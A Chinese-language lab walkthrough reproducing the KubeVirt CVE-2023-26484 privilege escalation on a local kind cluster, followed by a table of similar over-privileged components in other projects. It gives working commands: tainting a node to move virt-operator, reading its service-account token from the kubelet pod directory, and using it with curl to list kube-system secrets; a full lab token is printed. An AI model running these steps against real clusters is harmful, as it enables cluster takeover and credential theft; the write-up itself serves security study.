引用原文:"第二种攻击策略是利用第三方应用的关键DaemonSet劫持该应用的另一个关键组件,然后利用该组件获取集群管理员的权限"。
这里以开源云原生项目 Kubevirt 的 CVE-2023-26484 为例。
Kind 创建 1master 2worker 集群(v1.23) k8s环境搭建
在 kind 中安装 Kubevirt v0.59.0-alpha.0(漏洞版本)
官方部署文档
kubectl create -f https://github.com/kubevirt/kubevirt/releases/download/v0.59.0-alpha.0/kubevirt-operator.yaml
kubectl create -f https://github.com/kubevirt/kubevirt/releases/download/v0.59.0-alpha.0/kubevirt-cr.yaml
#验证 Kubevirt 环境
kubectl get kubevirt.kubevirt.io/kubevirt -n kubevirt -o=jsonpath="{.status.phase}"&& kubectl get all -n kubevirt
等待部署,直到全部running
k8s理论基础
原文中提到 Kubevirt
应用有两个组件:virt-handler
和 virt-operator
。
其中 virt-handler
是一个 DaemonSet
(这意味着其在集群中的多个节点上都运行着Pod)
其 pod 有一个名为 kubevirt-handler
的服务账户,
kubectl get pods virt-handler-rn7qw -n kubevirt -o jsonpath='{.spec.serviceAccount}'
该服务账户通过 ClusterRoleBinding 绑定了一个名为 kubevirt-handler
的 ClusterRole
#查看kubevirt-handler服务账号绑定了什么集群角色
kubectl get clusterrolebindings --all-namespaces | grep kubevirt-handler
该 ClusterRole 描述了对 nodes 资源的 patch
权限,(此权限是一个高危权限,可以用于更新node的资源)
因此,只要攻击者控制了一个运行着该 DaemonSet 的工作节点,则可利用 virt-handler
的相关权限。
# 查看kubevirt-handler集群角色的详细信息
kubectl describe clusterrole kubevirt-handler
另外,virit-operator
组件拥有 kubevirt-operator
服务账号,对 secrets 资源的 list 权限。
# 查看kubevirt-operator集群角色的详细信息,并过滤出与secrets相关的权限
kubectl describe clusterrole kubevirt-operator | grep secrets
综上,攻击者对Kubernetes集群的攻击可以分为两步:
virt-handler
对 node 的 patch 权限,让其余正常 node 节点排斥所有 Pod(通过patch 一个 taint
实现),在这之后,Pod将被迫运行在攻击者控制的 node 节点上,这其中当然也包括着 virt-operator
组件;virt-operator
已经运行在攻击者所控节点中,因此可利用 virt-operator
对 secrets
资源的 list 权限,直接请求 kube-apiserver
,拿到集群管理员的 secrets,从而实现权限提升,控制整个集群。注:上面环境搭建完成后,有可能所有的工作节点(worker和worker2) 都跑着 virt-operator
这个高权限 pod,这个现象不太符合实验要求,这样的话,如果控制了任意的工作节点,不就可以直接 list 出 secrets 了。
这可能是当前环境太小了,一共只有两个工作节点。故我们可以主动忽略 demo-worker2
上的 virt-operator
,假设只有 demo-worker
上存在 virt-operator
但我测试下来应该有点随机性,我这里就是全跑在worker2节点上
在实际情况下,攻击应用程序 -> 拿到 pod 权限 -> pod 逃逸到 node -> 控制整个集群,目前需要处于第三步,当前权限是一个工作 node(demo-worker2) 的全局权限。
进入 demo-worker2 节点的 virt-handler-5js2f 中
kubectl exec -it -n kubevirt virt-handler-5js2f -- /bin/sh
在 virt-handler-5js2f 中下载 kubectl 方便后续操作
# wget方式
apt-get update && apt-get install -y wget
wget https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl or
# curl方式
curl -k -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version
给work1 patch 一个 taint,然后就会排斥 demo-worker 上的所有 Pod,这些排斥出来的pod就会转移到work2上。
上文中提到
virt-handler
组件是有对 node 进行 patch 的权限,注:这可能会导致正在运行的任务中断
kubectl taint nodes demo-worker node-role/exclude=:NoExecute
查看 demo-worker 节点情况
使用 taint 后,demo-worker 所有的 Pod 都跑到了 demo-worker2 上了,
kubectl get pods -n kubevirt -owide
通过 AGE 的值可以看到是刚刚被调度到本节点上的,其实就是 demo-worker 上被排斥出来的,其中virt-operator-64759c966f-k2dv6 就是我们想要的,它是一个高权限组件,上文中提到有对 secrets 资源的 list 权限。
这里利用的组件是 virt-operator
进入 virt-operator-64759c966f-k2dv6 的 shell,结果进不去,没有 sh 和 bash,这个组件中其他的常用程序也都没有 (最小程序集规则) 不如 cat。
kubectl exec -it -n kubevirt virt-operator-64759c966f-k2dv6 --/bin/sh
解决方法1:nsenter 命令,
# 使用nsenter命令进入目标容器的命名空间,并读取服务账号令牌
sudo nsenter --target <container_PID> -n cat /run/secrets/kubernetes.io/serviceaccount/token
解决方法2: 通过查看 node 的文件来获取 Pod 中的资源,在 kind 中,node 只是一个容器,
#【宿主机】进入到 demo-worker2 中(也就是进入到一个容器里),
docker exec -it 3a6ee749e7a1 bash
#【node】通过节点的文件系统获得到节点上 Pod 的资源,
ls /var/lib/kubelet/pods
#【宿主机】获取 Pod 的 UID,
kubectl get pods virt-operator-64759c966f-k2dv6 -n kubevirt -o jsonpath='{.metadata.uid}'
#【node】找到认证信息,
ls /var/lib/kubelet/pods/aa26029e-ccfb-4632-b3ba-9e1804ac92bc/volumes/kubernetes.io~projected/kube-api-access-xxxx
cat /var/lib/kubelet/pods/915b79cc-917d-4847-a441-c8713456c65f/volumes/kubernetes.io~projected/kube-api-access-xxxx/token
通过这种方式我们就不用进入 virt-operator
pod内部,从外部node获取到 virt-operator
这个服务账户的token
然后用这个身份获取集群所有的 secrets,直接能接管整个集群
curl -k -H "Authorization: Bearer <<token>>"https://172.18.0.3:6443/api/v1/namespaces/kube-system/secrets
#【node节点】
curl -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IkFsOE1wN2ZqcWlBNlJ2T185aXI0eDhjdGUtWURCaDNOR01hcDN4M1pCWGsifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzc2MjYxODcyLCJpYXQiOjE3NDQ3MjU4NzIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJrdWJldmlydCIsInBvZCI6eyJuYW1lIjoidmlydC1vcGVyYXRvci02NDc1OWM5NjZmLWsyZHY2IiwidWlkIjoiYWEyNjAyOWUtY2NmYi00NjMyLWIzYmEtOWUxODA0YWM5MmJjIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJrdWJldmlydC1vcGVyYXRvciIsInVpZCI6ImFiZjdlYTIxLWU4YmEtNDJhNC1hOThlLWI5OTllMTVmYjA2NCJ9LCJ3YXJuYWZ0ZXIiOjE3NDQ3Mjk0Nzl9LCJuYmYiOjE3NDQ3MjU4NzIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJldmlydDprdWJldmlydC1vcGVyYXRvciJ9.e-BL8bqlyZm3wF9R3b55iWR0jq-9CJ6xwRjX2DIa_rbDgZVOsNAhAjXPB0JgkHXFBVGhfdySNL1GlPvjJy4i0YNaShZIgWIgk50wqT2xPNLzxXC5fcDhiY5K3VbGt60GjKYmAn9aab8EtEhZGUsZFcavhPpnQifUjh14lGPUy7TbvbNYrcaWvT_KaQvoODF9DskJwdXtKkkjzBKokkaQgX4pozq9AJ5U8QTdMlZmvqAOmTBXZee2UocQOmnxuKc41A9mXdk2q9jQsZXcCQbUj6Vt4mqmhjDHZifKeCpbe8w6y0kRGzKlljvZ3Ii7OING_9pKUN7Xm9BmjWVlPQAUtg" https://172.18.0.3:6443/api/v1/namespaces/kube-system/secrets
kind delete cluster --name demo
应用 | 漏洞版本 | CVE | 组件 | 类型 | 服务账号 | ClusterRole | 冗余权限 |
---|---|---|---|---|---|---|---|
CubeFS | <=3.2.1 | 2023-xxxx | cfs-csi-node | DaemonSet | service-account | cfs-csi-cluster-role | bug |
OpenKruise | - | 2023-30617 | kruise-daemon | DaemonSet | kruise-daemon | kruise-daemon-role | get/list secrets |
Kubevirt | <=0.59.0 | 2023-26484 | virt-handler | DaemonSet | kubevirt-handler | kubevirt-handler | list/patch nodes |
virt-operator | Deployment | kubevirt-operator | kubevirt-operator | get/list secrets | |||
Fluid | <0.8.6 | 2023-30840 | fluid-csi-plugin | DaemonSet | fluid-csi-plugin | fluid-csi-global | patch nodes |
>=0.8.6 | - | fluid-webhook | Deployment | fluid-webhook | fluid-webhook | get/list secrets | |
Kubewarden | <1.6.0 | 2023-22645 | controller | Deployment | kubewarden-controller | controller-operator | get/list secrets |
Open Cluster Management | - | 2023-2250 | registration-manager | Deployment | cluster-manager | management:cluster-manager | escalate/bind verbs |
Clusternet | - | - | clusternet-agent | DaemonSet | clusternet-agent | clusternet-agent-role | get/list nodes |
OpenFeature | <0.2.5 | 2023-xxxx | feature-flag-sidecar | DaemonSet | openfeature-sidecar | openfeature-role | patch configmaps |